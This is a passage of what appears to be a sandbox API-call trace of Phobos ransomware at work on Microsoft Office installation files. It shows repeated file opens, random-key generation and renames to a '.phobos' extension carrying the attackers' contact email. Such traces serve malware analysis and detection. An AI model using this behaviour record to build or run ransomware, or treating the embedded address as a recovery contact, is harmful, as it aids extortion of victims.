0x220 [0151.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.870] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.876] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=968880) returned 1 [0151.876] CloseHandle (hObject=0x564) returned 1 [0151.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll")) returned 0x220 [0151.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.876] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.878] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=900288) returned 1 [0151.878] CloseHandle (hObject=0x564) returned 1 [0151.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll")) returned 0x220 [0151.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.880] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.881] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=12980224) returned 1 [0151.881] CloseHandle (hObject=0x564) returned 1 [0151.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi")) returned 0x220 [0151.882] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0151.882] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi")) returned 0 [0151.882] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.882] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=45056) returned 1 [0151.882] CloseHandle (hObject=0x564) returned 1 [0151.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi")) returned 0x220 [0151.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.883] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.888] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1229936) returned 1 [0151.888] CloseHandle (hObject=0x564) returned 1 [0151.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe")) returned 0x220 [0151.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.900] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.944] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=621986) returned 1 [0151.944] CloseHandle (hObject=0x564) returned 1 [0151.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 0x220 [0151.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.944] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.980] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1347630) returned 1 [0151.980] CloseHandle (hObject=0x564) returned 1 [0151.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 0x220 [0151.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.981] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.002] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=994589) returned 1 [0152.002] CloseHandle (hObject=0x564) returned 1 [0152.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 0x220 [0152.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.016] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.021] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11587) returned 1 [0152.021] CloseHandle (hObject=0x564) returned 1 [0152.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0152.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.022] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.035] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19932) returned 1 [0152.035] CloseHandle (hObject=0x564) returned 1 [0152.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0152.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.038] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.040] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19924) returned 1 [0152.040] CloseHandle (hObject=0x564) returned 1 [0152.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 0x220 [0152.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.042] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.045] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6794) returned 1 [0152.045] CloseHandle (hObject=0x564) returned 1 [0152.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 0x220 [0152.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.045] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.046] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=9606) returned 1 [0152.046] CloseHandle (hObject=0x564) returned 1 [0152.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 0x220 [0152.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.047] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.047] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10623) returned 1 [0152.048] CloseHandle (hObject=0x564) returned 1 [0152.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 0x220 [0152.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.048] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.049] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11581) returned 1 [0152.049] CloseHandle (hObject=0x564) returned 1 [0152.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 0x220 [0152.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.051] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.052] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3211) returned 1 [0152.052] CloseHandle (hObject=0x564) returned 1 [0152.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 0x220 [0152.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft 